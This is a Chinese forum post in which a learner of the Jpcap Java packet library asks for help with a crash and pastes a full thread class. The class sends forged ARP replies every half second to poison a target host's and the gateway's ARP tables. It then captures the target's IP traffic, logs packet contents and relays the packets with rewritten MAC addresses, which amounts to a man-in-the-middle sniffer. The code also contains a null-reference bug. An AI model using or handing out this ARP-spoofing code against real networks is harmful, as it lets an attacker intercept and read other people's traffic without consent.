Jpcap包的学习
欢迎学习Jpcap包的朋友进来文论讨与交流呀!
本人最近迷上了网络通讯~
想用java语言来处理网络层以下的协议层的数据包~
进行catch包与分析包的处理~
在网上查了一个资料~
JAVA也是有这个能力的~
就是用第三方包Jpcap~
下载地址如下:http://netresearch.ics.uci.edu/kfujii/jpcap/doc/download.html
上面也有相应的入门教程,都是简单的E语,很容易入门.
如今我遇到的问题是这样的~
我写了一个监听类(当然也参照了网友的代码)~
觉得逻辑没问题.
但调试运行的时候,发生异常,JVM自动退。
不知大家在学习的过程中,遇到这个问题没有~
下面贴着我写的监听线程类~~
/**
* @(#)MinitorAntherHostThread.java
*
*
* @author scholar_ii@163.com
* @version 1.00 2005/12/9
*/
import jpcap.*;
import java.io.*;
import java.net.*;
import jpcap.packet.*;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostThread extends Thread
{
private jpcap.NetworkInterface[] devices = null;//设备列表
private jpcap.NetworkInterface device = null ;//要使用的设备
private JpcapCaptor captor = null ;//与设备的连接
private JpcapSender sender = null;//用于发送的实例
private byte[] targetMAC, gateMAC;//B的MAC地址,网关的MAC地址
private String targetIp;
private String gateIp;//B的IP地址,网关的IP地址
private ARPPacket arpTarget;
private ARPPacket arpGate;
private DefaultTableModel model;
public MinitorAntherHostThread(DefaultTableModel model, String targetIp , String gateIp, byte[] targetMAC, byte[] gateMAC)
{
this.model = model;
this.targetIp = targetIp;
this.gateIp = gateIp;
this.targetMAC = targetMAC;
this.gateMAC = gateMAC;
try
{
initDevice();
}
catch(IOException e)
{
}
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
arpTarget.hlen = 6; //MAC地址长度固定6个字节
arpTarget.plen = 4; //IP地址长度固定4个字节
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
try
{
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
}
catch(Exception e)
{
}
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
arpGate = new ARPPacket(); //修改网关ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.target_hardaddr = gateMAC;
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
Thread thread=new Thread(new Runnable()
{ //创建一个进程控制发包速度
public void run()
{
System.out.println("thread");
while(true)
{
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
try
{
Thread.sleep(500);
}
catch(Exception e)
{
}
}
}
}
);
thread.start();
}
/**
*初始化设备
* JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
*dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
*注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
*JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
*虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
*配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
*/
private void initDevice() throws IOException
{
devices = JpcapCaptor.getDeviceList(); //获得设备列表
device = devices[0];//只有一个设备
captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
captor.setFilter("ip",true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();
}
/**
* 打印接受到的数据包并转发
*/
public void run()//接收数据包并转发
{
System.out.println("start!!");
IPPacket dataPacket = null;
while(true)
{
dataPacket =(IPPacket)captor.getPacket();
if(dataPacket!=null)
{
System.out.println(dataPacket);
Object[] data = {"","","",""};
if(dataPacket.src_ip.getHostAddress().equals(targetIp))
{
data[0] = "发送";
System.out.println("send start");
send(dataPacket, gateMAC);
}
else
{
data[0] = "接收";
send(dataPacket, targetMAC);
}
data[1] = dataPacket.getClass().getName();
data[2] = dataPacket;
StringBuffer buffer = new StringBuffer();
for(Byte a:dataPacket.data)
{
buffer.append(Byte.toString(a));
}
data[3] = new String(buffer);
model.addRow(data);
}
}
}
private void send(Packet packet, byte[] changeMAC)
{
EthernetPacket eth;
if(packet.datalink instanceof EthernetPacket)
{
eth = (EthernetPacket)packet.datalink;
for(int i = 0; i < 6; i++)
{
eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
eth.src_mac[i] = device.mac_address[i]; //源发送者为A
}
sender.sendPacket(packet);
}
}
}